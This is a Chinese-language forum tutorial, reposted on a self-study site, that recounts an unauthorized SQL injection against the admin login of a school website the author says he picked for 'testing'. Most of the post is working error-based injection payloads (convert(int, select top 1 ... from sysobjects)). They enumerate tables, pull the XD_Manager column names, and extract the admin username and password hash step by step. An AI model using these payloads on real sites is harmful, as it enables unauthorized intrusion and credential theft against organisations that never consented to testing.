好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

登陆框post注入简单实例 - 网站安全 - 自学php

Author:音符     某天各种闲,于是准备把某地的学校来一次大检测,各种猥琐。于是有了这篇帖子。     先是跟平常一样,随便找个地方提交下数据,看看网站大致的安全。随便找到个 asp 展示页面在参数后面提交单引号,结果如图一 有大牛做了防护诶,伟大。注入难道都不能搞了么?不好说吧。   在前台有个注入,试探之,依旧是做了防注入。看到这么变态还有大牛防护小弟各种怕怕,后台都不敢扫了,直接地址栏加个admin杀入,如图2     没密码啊,咋办’or’=’or’试试呗   结果如图三     各种无法万能密码,难道就放弃了么?   非也,看他的返回   在关键字'or' 附近有语法错误。 说明我们的数据被带入查询了,没有进行过滤哦亲,于是小弟各种想在用户名处提交数据查询管理用户。如下。   用户名处提交数据   1' and '1'='1   返回如图     提交1’返回如图     (那串 加密 md5是我乱输入的密码)两次结果对比说明存在注入。不解释。   我们开始爆数据吧,其实利用的都是普通的查询语句,通过各种报错来爆出我们想要的内容。   用户名处键入   1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '1'='1   前后的and是为了让语句完整,各种引号。   中间的语句是为了让程序出错 强制转换为int型再与1作比较报错返回。   结果如图。   第一个表段爆出来了JYS_Js中的top 1就是爆出第一个表段   我们继续爆第二个表段,键入代码:   1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js' ))) and '1'='1   啥意思呢,与原来的语句做个比较就知道了,多了个and name not in xxx,是我们的限制条件,限制表名不为jys_js,然后取回第一个表段,其实现在就是库中的第二个表段了。如图   那么继续爆第三个表段,键入语句:   1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties'))) and '1'='1   将properties也给排除掉,结果如图。     剩下的不解释了,各种爆。   最后当我键入语句:   1' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('JYS_Js','dtproperties','JYS_Column','JYS_District','JYS_File','JYS_jyz','JYS_News','XD_Chushi','XD_City','XD_Column','XD_District','XD_File','XD_FriendLink','XD_Huodong','XD_Manager','XD_News','XD_Province','XD_User','XD_User_Column','XL_Group','XL_SystemConfig'))) and '1'='1   结果如图:         这是说明我们把所有数据都排除了,返回值为空,也就是0.0就是int型的,可以与1进行比较,所以语句不报错(小菜鸟我是这么理解的,不知道对不对。膜拜大牛)   果断锁定表段XD_Manager,各种爆字段。   网上有个说法是   select * from XD_Manager having 1=1   爆出全部字段,但是小菜鸟怎么搞都不行,貌似一次只能返回一个字段。   果断慢慢爆   键入语句:   1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),1) from XD_Manager)) and '1'='1   没啥说的,看得懂吧,爆出第一个字段,返回如图。     继续爆,键入:   1' and 1=convert(int,(select top 1 col_name(object_id ('XD_Manager'),2) from XD_Manager)) and '1'='1   结果返回   将nvarchar 值'M_name' 转换为数据类型为int 的列时发生语法错误。   最后果断爆回所有字段了。开始爆数据吧。   键入:   1' and 1=convert(int,(select top 1 M_name from XD_Manager)) and '1'='1   返回第一个用户名     Admin意料之中,爆他密码   键入:   1' and 1=convert(int,(select top 1 M_password from XD_Manager)) and '1'='1     解密下就ok了。   当然我们可以模仿前面的。爆第二个用户名啥的   1' and 1=convert(int,(select top 1 M_name from XD_Manager where m_name not in('admin'))) and '1'='1   提交后就是第二个用户名了。没啥说的。不解释,不演示。   但是我在写帖子的时候登陆出现了问题,如图。     这个我真不懂了,怀疑是管理员发现了,毕竟N久前的,求大牛解释。完。大家静待下一篇。   另附相关网贴几张   www.2cto.com/Article/201111/110526. html www.2cto.com/Article/200809/29429.html   废话一下:年关各种穷,又出来招摇撞骗,带各种有钱小弟,求包养。Q738404558

查看更多关于登陆框post注入简单实例 - 网站安全 - 自学php的详细内容...

  阅读:32次